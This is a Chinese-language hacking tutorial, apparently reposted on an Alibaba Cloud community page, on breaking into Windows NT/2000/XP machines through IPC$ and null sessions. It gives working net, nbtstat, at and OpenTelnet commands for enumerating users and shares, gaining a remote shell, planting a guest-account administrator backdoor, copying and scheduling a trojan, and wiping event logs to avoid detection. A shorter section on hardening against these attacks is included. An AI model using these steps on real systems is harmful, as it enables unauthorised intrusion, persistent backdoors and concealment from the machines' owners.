ipc$基礎入侵原理知識

來源:互聯網
上載者:User

ipc$基礎知識

一 前言
網上關於IPC$的解釋多如牛毛,然而大部分卻只是浮於表面,講解的只是簡單的命令操作,卻沒有究其根果。
注意:本文所討論的各種情況均預設發生在win NT/2000環境下

二 什麼是ipc$

IPC$(Internet Process Connection)是共用"具名管道"的資源,它是為了讓處理序間通訊而開放的具名管道,
通過提供可信任的使用者名稱和口令,串連雙方可以建立安全的通道並以此通道進行加密資料的交換,從而實現對遠端電腦的訪問。
IPC$是NT/2000的一項新功能,它有一個特點,即在同一時間內,兩個IP之間只允許建立一個串連。
NT/2000在提供了ipc$功能的同時,在初次安裝系統時還開啟了預設共用,即所有的邏輯共用(c$,d$,e$……)
和系統目錄winnt或windows(admin$)共用。所有的這些,微軟的初衷都是為了方便管理員的管理,但在有意無意中,導致了系統安全性的降低。
平常所說的ipc$漏洞並不是一個真正意義上的漏洞,一定是指微軟自己安置的那個“後門”:空會話(Null session)。
那麼什麼是空會話呢?

三 什麼是空會話

在介紹空會話之前,我們有必要瞭解一下一個安全會話是如何建立的。
在Windows NT 4.0中是使用挑戰響應協議與遠程機器建立一個會話的,建立成功的會話將成為一個安全隧道,建立雙方通過它互連資訊,
這個過程的大致順序如下:
1)會話要求者(客戶)向會話接收者(伺服器)傳送一個資料包,請求安全隧道的建立;
2)伺服器產生一個隨機的64位元(實現挑戰)傳送回客戶;
3)客戶取得這個由伺服器產生的64位元,用試圖建立會話的帳號的口令打亂它,將結果返回到伺服器(實現響應);
4)伺服器接受響應後發送給本地安全驗證(LSA),LSA通過使用該使用者正確的口令來核實響應以便確認要求者身份。
如果要求者的帳號是伺服器的本地帳號,核實本地發生;如果請求的帳號是一個域的帳號,響應傳送到網域控制站去核實。
當對挑戰的響應核實為正確後,一個存取權杖產生,然後傳送給客戶。客戶使用這個存取權杖串連到伺服器上的資源直到建議的會話被終止。
以上是一個安全會話建立的大致過程,那麼空會話又如何呢?

空會話是在沒有信任的情況下與伺服器建立的會話(即未提供使用者名稱與密碼),
但根據WIN2000的存取控制模型,空會話的建立同樣需要提供一個令牌,
可是空會話在建立過程中並沒有經過使用者資訊的認證,所以這個令牌中不包含使用者資訊,
因此,這個會話不能讓系統間發送加密資訊,但這並不表示空會話的令牌中不包含安全性識別碼SID(它標識了使用者和所屬組),
對於一個空會話,LSA提供的令牌的SID是S-1-5-7,這就是空會話的SID,
使用者名稱是:ANONYMOUS LOGON(這個使用者名稱是可以在使用者列表中看到的,但是是不能在SAM資料庫中找到,屬於系統內建的帳號),
這個存取權杖包含下面偽裝的組:
Everyone
Network
在安全性原則的限制下,這個空會話將被授權訪問到上面兩個組有權訪問到的一切資訊。那麼建立空會話到底可以作什麼呢?

四 空會話可以做什麼

對於NT,在預設安全設定下,藉助空串連可以列舉目標主機上的使用者和共用,訪問everyone許可權的共用,訪問小部分註冊表等,
並沒有什麼太大的利用價值;對2000作用更小,因為在Windows 2000 和以後版本中預設只有管理員和備份操作員有權從網路訪問到註冊表,
而且實現起來也不方便,需藉助工具。從這些我們可以看到,這種非信任會話並沒有多大的用處,但從一次完整的ipc$入侵來看,
空會話是一個不可缺少的跳板,因為我們從它那裡可以得到戶列表,這對於一個老練的駭客已經足夠了。
以下是空會話中能夠使用的具體命令:

1 首先,我們先建立一個空會話(需要目標開放ipc$)
命令:net use //ip/ipc$ "" /user:""
注意:上面的命令包括四個空格,net與use中間有一個空格,use後面一個,密碼左右各一個空格。

2 查看遠程主機的共用資源
命令:net view //IP
解釋:建立了空串連後,用此命令可以查看遠程主機的共用資源,如果它開了共用,可以得到如下類似類似結果:
在 //*.*.*.*的共用資源
資源共用名稱 類型 用途 注釋

-----------------------------------------------------------
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
命令成功完成。

3 查看遠程主機的目前時間
命令:net time //IP
解釋:用此命令可以得到一個遠程主機的目前時間。

4 得到遠程主機的NetBIOS使用者名稱列表(需要開啟自己的NBT)
nbtstat -A IP
用此命令可以得到一個遠程主機的NetBIOS使用者名稱列表(需要你的netbios支援),返回如下結果:

Node IpAddress: [*.*.*.*] Scope Id: []

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
SERVER <00> UNIQUE Registered
OYAMANISHI-H <00> GROUP Registered
OYAMANISHI-H <1C> GROUP Registered
SERVER <20> UNIQUE Registered
OYAMANISHI-H <1B> UNIQUE Registered
OYAMANISHI-H <1E> GROUP Registered
SERVER <03> UNIQUE Registered
OYAMANISHI-H <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
INet~Services <1C> GROUP Registered
IS~SERVER......<00> UNIQUE Registered

MAC Address = 00-50-8B-9A-2D-37

以上就是我們經常使用空會話做的事情,好像也能獲得不少東西喲,
不過要注意一點:建立IPC$串連的操作會在EventLog中留下記錄,不管你是否登入成功。
好了,那麼下面我們就來看看ipc$所使用的連接埠是什嗎?

五 ipc$所使用的連接埠

首先我們來瞭解一些基礎知識:
1 SMBServer Message Block) Windows協議族,用於檔案列印共用的服務;
2 NBTNETBios Over TCP/IP)使用137(UDP)138(UDP)139(TCP)連接埠實現基於TCP/IP協議的NETBIOS網路互聯。
3 在WindowsNT中SMB基於NBT實現,而在Windows2000中,SMB除了基於NBT實現,還可以直接通過445連接埠實現。

有了這些基礎知識,我們就可以進一步來討論訪問網際網路共用對連接埠的選擇了:

對於win2000用戶端來說:

1 如果在允許NBT的情況下串連伺服器時,用戶端會同時嘗試訪問139和445連接埠,
如果445連接埠有響應,那麼就發送RST包給139連接埠中斷連線,用455連接埠進行會話,
當445連接埠無響應時,才使用139連接埠,如果兩個連接埠都沒有響應,則會話失敗;
2 如果在禁止NBT的情況下串連伺服器時,那麼用戶端只會嘗試訪問445連接埠,如果445連接埠無響應,那麼會話失敗。
由此可見,禁止了NBT後的win 2000對win NT的共用訪問將會失敗。

對於win2000伺服器端來說:
1 如果允許NBT, 那麼UDP連接埠137, 138, TCP 通訊埠 139, 445將開放;
2 如果禁止NBT,那麼只有445連接埠開放。

我們建立的ipc$會話對連接埠的選擇同樣遵守以上原則。顯而易見,如果遠程伺服器沒有監聽139或445連接埠,ipc$會話是無法建立的。

六 ipc$串連在hack攻擊中的意義

就像上面所說的,即使你建立了一個空的串連,你也可以獲得不少的資訊(而這些資訊往往是入侵中必不可少的),
如果你能夠以某一個具有一定許可權的使用者身份登陸的話,那麼你就會得到相應的許可權,
顯然,如果你以管理員身份登陸,嘿嘿,那你可就了不得了,基本上可以為所欲為了。
不過你也不要高興的太早,因為管理員的密碼不是那麼好搞到的,雖然會有一些粗心的管理員存在弱口令,
但這畢竟是少數,而且現在不比從前了,隨著人們安全意識的提高,管理員們也愈加小心了,得到管理員密碼將會越來越難的,
因此今後你最大的可能就是以極小的許可權甚至是沒有許可權進行串連,甚至在主機不開啟ipc$共用時,你根本就無法串連,
你會慢慢的發現ipc$串連並不是萬能的,所以不要奢望每次串連都能成功,那是不現實的。
是不是有些灰心?倒也不用,關鍵是我們要擺正心態,不要把ipc$入侵當作終極武器,不要認為它戰無不勝,
它只是很多入侵方法中的一種,你有可能利用它一擊必殺,也有可能一無所獲,這些都是正常的,
在駭客的世界裡,不是每條大路都能通往羅馬,但總有一條路會通往羅馬,耐心的尋找吧!

七 ipc$串連失敗的常見原因

以下是一些常見的導致ipc$串連失敗的原因:

1 IPC串連是Windows NT及以上系統中特有的功能,由於其需要用到Windows NT中很多DLL函數,
所以不能在Windows 9.x/Me系統中運行,也就是說只有nt/2000/xp才可以相互建立ipc$串連,98/me是不能建立ipc$串連的;

2 如果想成功的建立一個ipc$串連,就需要對方開啟ipc$共用,即使是空串連也是這樣,如果對方關閉了ipc$共用,你將會建立失敗;

3 你未啟動Lanmanworkstation服務,它提供網路鏈結和通訊,沒有它你無法發起串連請求(顯示名為:Workstation);

4 對方未啟動Lanmanserver服務,它提供了 RPC 支援、檔案、列印以及具名管道共用,
ipc$依賴於此服務,沒有它遠程主機將無法響應你的串連請求(顯示名為:Server);

5 對方未啟動NetLogon,它支援網路上電腦 pass-through 帳戶登入身份;

6 對方禁止了NBT(即未開啟139連接埠);

7 對方防火牆屏蔽了139和445連接埠;

8 你的使用者名稱或者密碼錯誤(顯然空會話排除這種錯誤);

9 命令輸入錯誤:可能多了或少了空格,當使用者名稱和密碼中不包含空格時兩邊的雙引號可以省略,如果密碼為空白,可以直接輸入兩個引號""即可;

10 如果在已經建立好串連的情況下對方重啟電腦,那麼ipc$串連將會自動斷開,需要重建立立串連。

另外,你也可以根據返回的錯誤號碼分析原因:
錯誤號碼5,拒絕訪問:很可能你使用的使用者不是管理員權限的,先提升許可權;
錯誤號碼51,Windows無法找到網路路徑:網路有問題;
錯誤號碼53,找不到網路路徑:ip地址錯誤;目標未開機;目標lanmanserver服務未啟動;目標有防火牆(連接埠過濾);
錯誤號碼67,找不到網路名稱:你的lanmanworkstation服務未啟動或者目標刪除了ipc$;
錯誤號碼1219,提供的憑據與已存在的憑據集衝突:你已經和對方建立了一個ipc$,請刪除再連;
錯誤號碼1326,未知的使用者名稱或錯誤密碼:原因很明顯了;
錯誤號碼1792,試圖登入,但是Net Logon 服務沒有啟動:目標NetLogon服務未啟動;
錯誤號碼2242,此使用者的密碼已經到期:目標有帳號策略,強制定期要求更改密碼。

八 複製檔案失敗的原因

有些朋友雖然成功的建立了ipc$串連,但在copy時卻遇到了這樣那樣的麻煩,無法複製成功,那麼導致複製失敗的常見原因又有哪些呢?
 

1 盲目複製
這類錯誤出現的最多,佔到50%以上。許多朋友甚至都不知道對方是否有共用資料夾,就進行盲目複製,
結果導致複製失敗而且鬱悶的很。因此我建議大家在進行複製之前務必用net view //IP這個命令看一下對方的共用情況,
不要認為ipc$串連建立成功了就一定有共用資料夾。

2 預設共用判斷錯誤
這類錯誤也是大家經常犯的,主要有兩個小方面:

1)錯誤的認為能建立ipc$串連的主機就一定開啟了預設共用,因而在建立完串連之後馬上向admin$之類的預設共用複製檔案,導致複製失敗。
ipc$串連成功只能說明對方開啟了ipc$共用,ipc$共用與預設共用是兩碼事,ipc$共用是一個具名管道,
並不是哪個實際的檔案夾,而預設共用並不是ipc$共用的必要條件;

2)由於net view //IP 無法顯示預設共用(因為預設共用帶$),因此通過這個命令,我們並不能判斷對方是否開啟了預設共用,
因此如果對方未開啟預設共用,那麼所有向預設共用進行的操作都不能成功;
(不過大部分掃描軟體在掃弱口令的同時,都能掃到預設共用目錄,可以避免此類錯誤的發生)

3使用者權限不夠,包括四種情形:
1)空串連向所有共用(預設共用和普通共用)複製時,大多情況下許可權是不夠的;
2)向預設共用複製時,要具有管理員權限;
3)向普通共用複製時,要具有相應許可權(即對方事先設定的存取權限);
4)對方可以通過防火牆或安全軟體的設定,禁止外部存取共用;

還需要說明一點:不要認為administrator就一定是管理員,管理員名稱是可以改的。

4被防火牆殺死或在區域網路
也許你的複製操作已經成功,但當遠程運行時,被防火牆殺掉了,導致找不到檔案;
還有可能你把木馬複製到了區域網路內的主機,導致串連失敗。因此建議你複製時要小心,否則就前功盡棄了。

呵呵,大家也知道,ipc$串連在實際操作過程中會出現千奇百怪的問題,上面我所總結的只是一些常見錯誤,
沒說到的,只能讓大家自己去體會了。

九 如何開啟目標的IPC$共用以及其他共用

目標的ipc$不是輕易就能開啟的,否則就要天下打亂了。
你需要一個admin許可權的shell,比如telnet,木馬等,然後在shell下執行net share ipc$來開放目標的ipc$,
用net share ipc$ /del來關閉共用。如果你要給它開共用資料夾,你可以用net share baby=c:/,這樣就把它的c盤開為共用名稱為baby共用了。

十 一些需要shell才能完成的命令

看到很多教程這方面寫的十分不準確,一些需要shell才能完成命令就簡簡單單的在ipc$串連下執行了,起了誤導作用。
那麼下面我總結一下需要在shell才能完成的命令:

1 向遠程主機建立使用者,啟用使用者,修改使用者密碼,加入管理組的操作需要在shell下完成;

2 開啟遠程主機的ipc$共用,預設共用,普通共用的操作需要在shell下完成;

3 運行/關閉遠程主機的服務,需要在shell下完成;

4 啟動/殺掉遠程主機的進程,也需要在shell下完成。

十一 入侵中可能會用到的相關命令

請注意命令適用於本地還是遠程,如果適用於本地,你只能在獲得遠程主機的shell後,才能向遠程主機執行。

1 建立空串連:
net use //IP/ipc$ "" /user:""

2 建立非空串連:
net use //IP/ipc$ "psw" /user:"account"

3 查看遠程主機的共用資源(但看不到預設共用)
net view //IP

4 查看本地主機的共用資源(可以看到本地的預設共用)
net share

5 得到遠程主機的使用者名稱列表
nbtstat -A IP

6 得到本地主機的使用者列表
net user

7 查看遠程主機的目前時間
net time //IP

8 顯示本地主機當前服務
net start

9 啟動/關閉本地服務
net start 服務名 /y
net stop 服務名 /y

10 映射遠程共用:
net use z: //IP/baby
此命令將共用名稱為baby的共用資源映射到z盤

11 刪除共用映射
net use c: /del 刪除映射的c盤,其他盤類推
net use * /del /y刪除全部

12 向遠程主機複製檔案
copy /路徑/srv.exe //IP/共用目錄名,如:
copy ccbirds.exe //*.*.*.*/c 即將目前的目錄下的檔案複製到對方c盤內

13 遠程添加計劃任務
at //ip 時間 程式名,如:
at //127.0.0.0 11:00 love.exe
注意:時間盡量使用24小時制;在系統預設搜尋路徑(比如system32/)下不用加路徑,否則必須加全路徑

14 開啟遠程主機的telnet
這裡要用到一個小程式:opentelnet.exe,各大下載網站都有,而且還需要滿足四個要求:

1)目標開啟了ipc$共用
2)你要擁有管理員密碼和帳號
3)目標開啟RemoteRegistry服務,使用者就該ntlm認證
4)對WIN2K/XP有效,NT未經測試
命令格式:OpenTelnet.exe //server account psw NTLM認證方式 port
試例如下:c:/>OpenTelnet.exe //*.*.*.* administrator "" 1 90

15 啟用使用者/加入Administrator 群組
1 net uesr account /active:yes
2 net localgroup administrators account /add

16 關閉遠程主機的telnet
同樣需要一個小程式:ResumeTelnet.exe
命令格式:ResumeTelnet.exe //server account psw
試例如下:c:/>ResumeTelnet.exe //*.*.*.* administrator ""

17 刪除一個已建立的ipc$串連
net use //IP/ipc$ /del 

十二 ipc$完整入侵步驟詳解

其實入侵步驟隨各人所好,我就說一般的……

1 用掃描軟體搜尋存在有弱口令的主機,比如流光,SSS,X-scan等掃描工具,然後鎖定目標,如果掃到了管理員權限的口令,
你可以進行下面的步驟了,假設你現在得到了administrator的密碼為空白

2 此時您有兩條路可以選擇:要麼給對方開telnet(命令列),要麼給它傳木馬(圖形介面),那我們就先走telnet這條路吧

3上面開telnet的命令沒忘吧,要用到opentelnet這個小程式
c:/>OpenTelnet.exe //192.168.21.* administrator "" 1 90
如果返回如下資訊
*******************************************************
Remote Telnet Configure, by refdom
Email: refdom@263.net
OpenTelnet.exe

UsagepenTelnet.exe //server username password NTLMAuthor telnetport
*******************************************************
Connecting //192.168.21.*...Successfully!

NOTICE!!!!!!
The Telnet Service default setting:NTLMAuthor=2 TelnetPort=23

Starting telnet service...
telnet service is started successfully! telnet service is running!

BINGLE!!!Yeah!!
Telnet Port is 90. You can try:"telnet ip 90", to connect the server!
Disconnecting server...Successfully!
*說明你已經開啟了一個連接埠90的telnet。

4 現在我們telnet上去
telnet 192.168.21.* 90
如果成功,你將獲得遠程主機的一個shell,此時你可以像控制自己的機器一樣控制你的肉***了,那麼做點什麼呢?
把guest啟用再加入管理組吧,就算留個後門了

5 C:/>net user guest /active:yes
*將Guest使用者啟用,也有可能人家的guest本來就試活的,你可以用net user guest看一下它的帳戶啟用的值是yes還是no

6 C:/>net user guest 1234
*將Guest的密碼改為1234,或者改成你喜歡的密碼

7 C:/>net localgroup administrators guest /add
*將Guest變為Administrator,這樣,即使以後管理員更改了他的密碼,我們也可以用guest登入了,不過也要提醒您,
因為通過安全性原則的設定,可以禁止guest等帳戶的遠端存取,呵呵,如果真是這樣,那我們的後門也就白做了,願上帝保佑Guest。

8 好了,現在我們來走另一條路,給它傳個木馬玩玩

9 首先,我們先建立起ipc$串連
C:/>net use //192.168.21.*/ipc$ "" /user:administrator

10 既然要上傳東西,就要Crowdsourced Security Testing道它開了什麼共用
C:/>net view //192.168.21.*
在 //192.168.21.*的共用資源
資源共用名稱 類型 用途 注釋

-----------------------------------------------------------
C Disk
D Disk
命令成功完成。
*好了,我們看到對方共用了C,D兩個盤,我們下面就可以向任意一個盤複製檔案了。再次聲明,因為用net view命令無法看到預設共用,因此通過上面返回的結果,我們並不能判斷對方是否開啟了預設共用。

11 C:/>copy love.exe //192.168.21.*/c
已複製 1 個檔案
*用這個命令你可以將木馬用戶端love.exe傳到對方的c盤下,當然,如果能複製到系統檔案夾下是最好的了,不容易被發現

12 運行木馬前,我們先看看它現在的時間
net time //192.168.21.*
//192.168.21.*的目前時間是 2003/8/22 上午 11:00
命令成功完成

13 現在我們用at運行它吧,不過對方一定要開了Task Scheduler服務(允許程式在指定時間運行),否則就不行了
C:/>at //192.168.21.* 11:02 c:/love.exe
新加了一項作業,其作業 ID = 1

14 剩下就是等了,等過了11:02,你就可以用控制端去串連了,如果成功你將可以用圖形介面去控制遠程主機了,
如果串連失敗,那麼它可能在區域網路裡,也可能程式被防火牆殺了,還可能它下線了(沒這麼巧吧),無論哪種情況你只好放棄了

嗯,好了,兩種基本方法都講了。如果你對上面的操作已經輕車熟路了,也可以用更高效的套路,
比如用CA複製guest,用p***ec執行木馬,用命令:p***ec //tergetIP -u user -p paswd cmd.exe直接獲得shell等,
這些都是可以得,隨你的便。不過最後不要忘了把日誌清理乾淨,可以用榕哥的elsave.exe。
講了ipc$的入侵,就不能不說如何防範,那麼具體要怎樣做呢?看下面

十三 如何防範ipc$入侵

1 禁止空串連進行枚舉(此操作並不能阻止空串連的建立)

方法1:
運行regedit,找到如下主鍵
[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/LSA]把RestrictAnonymous = DWORD的索引值改為:1
如果設定為"1",一個匿名使用者仍然可以串連到IPC$共用,但限制通過這種串連得到列舉SAM帳號和共用等資訊;
在Windows 2000 中增加了"2",限制所有匿名訪問除非特別授權,如果設定為2的話,可能會有一些其他問題發生,建議設定為1。
如果上面所說的主鍵不存在,就建立一個再改索引值。

方法2:
在本地安全設定-本地策略-安全選項-在'對匿名串連的額外限制'中做相應設定

2 禁止預設共用

1)察看本地共用資源
運行-cmd-輸入net share

2)刪除共用(重起後預設共用仍然存在)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以繼續刪除)

3)停止server服務
net stop server /y (重新啟動後server服務會重新開啟)

4)禁止自動開啟預設共用(此操作並未關閉ipc$共用)
運行-regedit

server版:找到如下主鍵
[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/LanmanServer/Parameters]把AutoShareServer(DWORD)的索引值改為:00000000。

pro版:找到如下主鍵
[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/LanmanServer/Parameters]把AutoShareWks(DWORD)的索引值改為:00000000。
如果上面所說的主鍵不存在,就建立(右擊-建立-雙位元組值)一個主健再改索引值。
這兩個索引值在預設情況下在主機上是不存在的,需要自己手動添加。

3 關閉ipc$和預設共用依賴的服務server服務
控制台-管理工具-服務-找到server服務(右擊)-屬性-常規-啟動類型-選已禁用
這時可能會有提示說:XXX服務也會關閉是否繼續,因為還有些次要的服務要依賴於lanmanserver,不要管它。

4 屏蔽139,445連接埠
由於沒有以上兩個連接埠的支援,是無法建立ipc$的,因此屏蔽139,445連接埠同樣可以阻止ipc$入侵。

1)139連接埠可以通過禁止NBT來屏蔽
本地串連-TCP/IT屬性-進階-WINS-選‘禁用TCP/IP上的NETBIOS’一項

2)445連接埠可以通過修改註冊表來屏蔽
添加一個索引值
Hive: HKEY_LOCAL_MACHINE
Key: System/Controlset/Services/NetBT/Parameters
Name: SMBDeviceEnabled
Type: REG_DWORD
Value: 0
修改完後重啟機器

注意:如果屏蔽掉了以上兩個連接埠,你將無法用ipc$入侵別人。

3)安裝防火牆進行連接埠過濾

5 設定複雜密碼,防止通過ipc$窮舉出密碼。

十四 ipc$入侵問答精選

1.進行ipc$入侵的時候,會在伺服器中留下記錄,有什麼辦法可以不讓伺服器發現嗎?

答:留下記錄是一定的,你走後用程式刪除就可以了,或者用肉***入侵。

2.你看下面的情況是為什麼,可以串連但不能複製
net use //***.***.***.***/ipc$ "密碼" /user:"使用者名稱"
命令成功
copy icmd.exe //***.***.***.***/admin$
找不到網路路徑
命令不成功

答:可能有兩個原因:
1)你的許可權不夠,不能訪問預設共用;

2)對方沒有開啟admin$預設共用,不要認為能進行ipc$串連,對方就一定開了預設共用(很多人都這麼以為,誤區!!),
此時你可以試試別的預設共用或普通共用,比如c$,d$,c,d等,如果還是不行,就要看你的許可權了,
如果是管理員權限,你可以開telnet,如果能成功,在給它開共用也行。

3.如果對方開了IPC$,且能建立空聯結,但開啟C、D盤時,都要求密碼,我知道是空串連沒有太多的許可權,但沒別的辦法了嗎?

答:建議先用流光或者別的什麼猜解一下密碼,如果猜不出來,只能放棄,畢竟空串連的能力有限。

4.我已經猜解到了管理員的密碼,且已經ipc$串連成功了,但net view //ip發現它沒開預設共用,我該怎麼辦?

答:首先糾正你的一個錯誤,用net view是無法看到預設共用的。
既然你現在有管理員權限,而且對方又開了ipc$,建議你用opentelnet.exe這個小程式開啟它的telent,
在獲得了這個shell之後,做什麼都可以了。

5.ipc$串連成功後,我用下面的命令建立了一個帳戶,卻發現這個帳戶在我自己的機器上,這是怎麼回事?
net uset ccbirds /add

答:ipc$建立成功只能說明你與遠程主機建立了通訊隧道,並不意味你取得了一個shell,
只有在獲得一個shell之後,你才能在遠程建立一個帳戶,否則你的操作只是在本地進行。

6.我已進入了一台肉機,用的管理員帳號,可以看他的系統時間,但是複製程式到他的機子上卻不行,
每次都提示“拒絕訪問,已複製0個檔案”,是不是對方有什麼服務沒開,我該怎麼辦?

答:不能copy檔案有多個可能,除了許可權不夠外,還可能是對方c$,d$等預設管理共用沒開,
或者是對方為NTFS檔案格式,通過設定,管理員也未必能遠程寫檔案。
既然你有管理員權限,那就開telnet上去吧,然後再開它的共用。

7.我用Win98能與對方建立ipc$串連嗎?

答:不可以的,要進行ipc$的操作,建議用win2000

8.我用net use //ip/ipc$ "" /user ""成功的建立了一個空會話,但用nbtstat -A IP 卻無法匯出使用者列表,這是為什嗎?

答:空會話在預設的情況下是可以匯出使用者列表的,但如果管理員通過修改註冊表來禁止匯出列表,就會出現你所說的情況;
或者你自己的NBT沒有開啟,netstat是建立在NBT之上的。  

9.我建立ipc$串連的時候返回如下資訊:‘提供的憑據與已存在的憑據集衝突’,怎麼回事?

答:呵呵,這說明你與目標主機建立了一個以上的ipc$串連,這是不允許的,把其他的刪掉吧:net use //*.*.*.*/ipc$ /del

10.我在映射的時候出現:
F:/>net use h: //211.161.134.*/e$
系統發生 85 錯誤。
本地裝置名稱已在使用中。這是怎麼回事?

答:你也太粗心了吧,這說明你的h盤正在使用,映射到別的盤符吧!

11.我建立了一個串連f:/>net use //*.*.*.*/ipc$ "123" /user:"ccbirds" 成功了,但當我映射時出現了錯誤,向我要密碼,怎麼回事?
F:/>net use h: //*.*.*.*/c$
密碼在 //*.*.*.*/c$ 無效。
請鍵入 //*.*.*.*/c$ 的密碼:
系統發生 5 錯誤。
拒絕訪問。

答:呵呵,向你要密碼說明你當前使用的使用者權限不夠,不能映射C$這個預設共用,想辦法提升許可權或者找管理員的弱口令吧!
預設共用一般是需要管理員權限的。

12.我用superscan掃到了一個開了139連接埠的主機,但為什麼不能空串連呢?
答:你混淆了ipc$與139的關係,能進行ipc$串連的主機一定開了139或445連接埠,
但開這兩個連接埠的主機可不一定能空串連,因為對方可以關閉ipc$共用.

13.我門區域網路裡的機器大多都是xp,我用流光掃描到幾個administrator帳號口令是空,而且可以串連,但不能複製東西,說錯誤5。
請問為什嗎?

答:xp的安全性要高一些,在安全性原則的預設設定中,對本地帳戶的網路登入進行身分識別驗證的時候,預設為來賓許可權,
即使你用管理員遠程登入,也只具有來賓許可權,因此你複製檔案,當然是錯誤5:許可權不夠。

14.我用net use //192.168.0.2/ipc$ "password" /user:"administrator" 成功,可是 net use i: //192.168.0.2/c
出現請鍵入 //192.168.0.2 的密碼,怎麼回事情呢?

答:雖然你具有管理員權限,但管理員在設定c盤共用許可權時可能並未設定允許administrator訪問,所以會出現問題。

15,怎樣建立空串連,它有什麼用?
答:使用命令 net use /IPipc$ "" /user:"" 就可以簡單地和目標建立一個空串連(需要目標開放ipc$)。
對於NT,在預設安全設定下,藉助空串連可以列舉目標使用者、共用,訪問everyone許可權的共用,
訪問小部分註冊表等,沒有什麼利用價值。對2000作用就更小了。而且實現也不方便,需藉助工具。

16.為什麼我連不上IPC$?
答:1.只有nt/2000/xp及以上系統才可以建立ipc$。如果你用的是98/me是沒有該功能的。
2.確認你的命令沒有打錯。正確的命令是: net use /目標IPipc$ "密碼" /user:"使用者名稱"
注意別多了或少了空格。當使用者名稱和密碼中不包含空格時兩邊的雙引號可以省略。空密碼用""表示。

17,根據返回的錯誤號碼分析原因:
錯誤號碼5,拒絕訪問 : 很可能你使用的使用者不是管理員權限的,先提升許可權;
錯誤號碼51,Windows 無法找到網路路徑 : 網路有問題;
錯誤號碼53,找不到網路路徑 : ip地址錯誤;目標未開機;目標lanmanserver服務未啟動;目標有防火牆(連接埠過濾);
錯誤號碼67,找不到網路名稱 : 你的lanmanworkstation服務未啟動;目標刪除了ipc$;
錯誤號碼1219,提供的憑據與已存在的憑據集衝突 : 你已經和對方建立了一個ipc$,請刪除再連。
錯誤號碼1326,未知的使用者名稱或錯誤密碼 : 原因很明顯了;
錯誤號碼1792,試圖登入,但是Net Logon 服務沒有啟動 : 目標NetLogon服務未啟動。(串連域控會出現此情況)
錯誤號碼2242,此使用者的密碼已經到期 : 目標有帳號策略,強制定期要求更改密碼。

18,關於ipc$連不上的問題比較複雜,沒有總結出一個統一的認識,在肉***上實驗有時會得出矛盾的結論,十分棘手。
而且知道了問題所在,如果沒有用其他辦法獲得shell,很多問題依然不能解決。

19,怎樣開啟目標的IPC$?
答:首先你需要獲得一個不依賴於ipc$的shell,比如sql的cmd擴充、telnet、木馬。當然,這shell必須是admin許可權的。
然後你可以使用shell執行命令 net share ipc$ 來開放目標的ipc$。從上一問題可以知道,ipc$能否使用還有很多條件。
請確認相關服務都已運行,沒有就啟動它(不知道怎麼做的請看net命令的用法)。還是不行的話(比如有防火牆,殺不了)建議放棄。

20,怎樣映射和訪問預設共用?
答:使用命令 net use z: /目標IPc$ "密碼" /user:"使用者名稱" 將對方的c盤映射為自己的z盤,其他盤類推。
如果已經和目標建立了ipc$,則可以直接用IP加盤符加$訪問。比如 copy muma.exe /IPd$pathmuma.exe 。
或者再映射也可以,只是不用使用者名稱和密碼了:net use y: /IPd$ 。然後 copy muma.exe y:pathmuma.exe 。
當路徑中包含空格時,須用""將路徑全引住。

21,如何刪除映射和ipc$串連?
答:用命令 net use /IPipc$ /del 刪除和一個目標的ipc$串連。
用命令 net use z: /del 刪除映射的z盤,其他盤類推。
用命令 net use * /del 刪除全部。會有提示要求按y確認。

22,連上ipc$然後我能做什嗎?
答:能使用管理員權限的帳號成功和目標串連ipc$,表示你可以和對方系統做深入“交流”了。
你可以使用各種命令列方式的工具(比如pstools系列、Win2000SrvReskit、telnethack等)獲得目標資訊、管理目標的進程和服務等。
如果目標開放了預設共用(沒開你就幫他開),你就可以上傳木馬並運行。也可以用tftp、ftp的辦法上傳。
像dwrcc、VNC、RemoteAdmin等工具(木馬)還具有直接控屏的功能。
如果是2000server,還可以考慮開啟終端服務方便控制。這裡提到的工具的使用,請看內建的說明或相關教程。 

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.